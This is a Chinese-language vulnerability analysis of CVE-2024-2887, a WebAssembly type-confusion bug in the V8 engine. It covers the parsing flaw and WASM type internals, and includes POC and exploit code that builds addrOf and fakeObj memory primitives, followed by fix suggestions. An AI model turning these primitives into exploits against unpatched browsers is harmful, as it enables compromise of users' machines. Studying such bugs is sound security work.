V8中WASM类型混淆漏洞CVE-2024-2887的来龙去脉
字数 2129 2025-09-01 11:26:02
WASM类型混淆漏洞CVE-2024-2887深度分析与利用教学
漏洞概述
CVE-2024-2887是V8引擎中WebAssembly(WASM)的一个类型混淆漏洞,该漏洞源于V8对WASM模块类型定义(TypeSection)解析时的校验不完善,导致攻击者可以突破类型索引(typeidx)的数量限制,进而实现类型混淆攻击。
背景知识
WASM内存模型
WASM虚拟机的内存模型分为三部分:
- 虚拟寄存器:函数的局部变量,通过索引访问
- 栈:WASM指令运行时使用的栈
- 堆:WASM GC提案中支持在宿主环境堆上创建对象,由宿主环境GC管理
WASM值类型分类
-
标量类型:
numtype= i32 | i64 | f32 | f64vectype= v128
-
引用类型(reftype):
- 用于引用WASM Heap中的对象
- 需要明确指向的对象类型
- 对象类型指定方式:
- abstract heap type:预定义的大致对象类型
- concrete heap type:使用typeidx表示自定义的具体对象类型
递归类型(Recursive Types)
WASM GC提案支持递归类型,通过rec块定义rectype,内部可包含一个或多个subtype,每个subtype会被赋予唯一的typeidx。
示例:链表节点类型定义
builder.startRecGroup();
let nodeType1 = builder.addStruct([
makeField(kWasmI32, true), // id字段
makeField(new wasmRefNullType(0), true) // 自身类型的引用,next指针
], kNoSuperType, false, false);
builder.endRecGroup();
漏洞成因
TypeSection解析过程
-
WASM模块类型表示:
WasmModule中的types数组记录所有定义的类型- 数组索引就是
typeidx - 每个类型定义使用
TypeDefinition对象描述
-
解析逻辑问题:
- 限制
typeidx < kV8MaxWasmTypes(默认为1,000,000) - 校验规则不完善:
- 检查
rectype总量不超过kV8MaxWasmTypes - 处理包含多个
subtype的rec group时检查:已有type数量 + rec group中type数量 <=kV8MaxWasmTypes - 但处理单个
subtype时没有进行数量检查
- 检查
- 限制
-
突破限制的方法:
- 第一个
rectype包含kV8MaxWasmTypes个subtype - 第二个
rectype只含单个subtype - 导致
module_->types包含kV8MaxWasmTypes+1个entry
- 第一个
POC构造
const kV8MaxWasmTypes = 1_000_000;
// 定义包含kV8MaxWasmTypes个subtype的rec group
builder.startRecGroup();
for(let i=0; i<kV8MaxWasmTypes; i++) {
builder.addType(makeSig(...));
}
builder.endRecGroup();
// 再次添加一个类型,typeidx=kV8MaxWasmTypes
let strcutTypeIdx = builder.addStruct([...]);
WASM类型系统深入
类型表示
-
TypeDefinition结构:
struct TypeDefinition { union { const FunctionSig* function_sig; const StructType* struct_type; const ArrayType* array_type; }; uint32_t supertype; // 父类idx Kind kind; // 类型大类(kFunction/kStruct/kArray) bool is_final; // 是否为final bool is_shared; uint8_t subtyping_depth; // 继承链深度 }; -
ValueType表示:
- 使用32位整数紧凑表示所有可能的值类型
- 包含三部分:
- ValueKind:区分值类型与引用类型
- heap representation:引用类型指向的堆对象类型
- CanonicalRelative bit:用于类型规范化过程
-
HeapType分类:
[0, kV8MaxWasmTypes):用户自定义的concrete heap type[kV8MaxWasmTypes, kBottom]:预定义的abstract heap type
漏洞利用原理
类型混淆机制
当typeidx超过kV8MaxWasmTypes时:
- 可能被解读为用户自定义的concrete heap type
- 也可能被解读为abstract heap type(如kAny/kNone)
不同指令对这种情况的处理不一致,导致类型混淆。
关键指令分析
-
struct.new指令:
- 校验时只检查
typeidx是否小于types.size() - 不检查
kV8MaxWasmTypes限制 - 编译时会将大
typeidx误认为kNone类型
- 校验时只检查
-
ref.cast指令:
- 用于带类型检查的安全类型转换
- 当对象类型为
none时,转换为任意非函数类型总会成功 - 因此会省略RuntimeType Check
利用思路
-
创建两个结构体类型:
typeidx0:包含ref target_type字段typeidx1(设置为HeapType::kNone):包含anyref字段
-
利用流程:
- 栈顶push要混淆的值
struct.new typeidx1创建对象ref.cast typeidx0进行类型转换struct.get获取字段,实现类型混淆
原语构造
-
addrOf原语:
- 将
ref extern字段解释为i32,泄露指针
- 将
-
fakeObj原语:
- 将
i32字段解释为ref extern,伪造指针
- 将
完整EXP
// 设置typeidx1为HeapType::None
for(let i=0; i<HeapType_None; i++) {
builder.addStruct(...);
}
let structTypeIdx1 = builder.addStruct([
makeField(wasmRefNullType(kWasmExternRef), true), // ref
makeField(kWasmI32, true) // int
]);
// addrOf函数
builder.addFunction('addrOf', makeSig([wasmRefType(kWasmExternRef)], [kWasmI32]))
.addBody([
kExprLocalGet, 0,
...wasmI32Const(0),
...GCInstr(kExprStructNew), ...wasmUnsignedLeb(structTypeIdx1),
...GCInstr(kExprRefCast), ...wasmUnsignedLeb(structTypeIdx0),
...GCInstr(kExprStructGet), ...wasmUnsignedLeb(structTypeIdx0), 0
]).exportFunc();
// fakeObj函数
builder.addFunction('fakeObj', makeSig([kWasmI32], [wasmRefNullType(kWasmExternRef)]))
.addBody([
kExprRefNull, ...wasmSignedLeb(kWasmExternRef),
kExprLocalGet, 0,
...GCInstr(kExprStructNew), ...wasmUnsignedLeb(structTypeIdx1),
...GCInstr(kExprRefCast), ...wasmUnsignedLeb(structTypeIdx0),
...GCInstr(kExprStructGet), ...wasmUnsignedLeb(structTypeIdx0), 1
]).exportFunc();
总结与防御
漏洞本质
- 根本原因:向数组添加元素前未严格检查size
- 利用关键:不同指令处理大
typeidx的歧义 - 影响:实现稳定的类型混淆原语
修复建议
- 严格校验所有
typeidx添加操作 - 统一大
typeidx的处理逻辑 - 加强类型系统边界检查
参考价值
该漏洞利用展示了:
- 如何将微小错误逐步放大
- WASM类型混淆的经典模式
- 稳定的原语构造方法
参考文献
- CVE-2024-2887漏洞详情
- WebAssembly GC规范
- V8引擎源码分析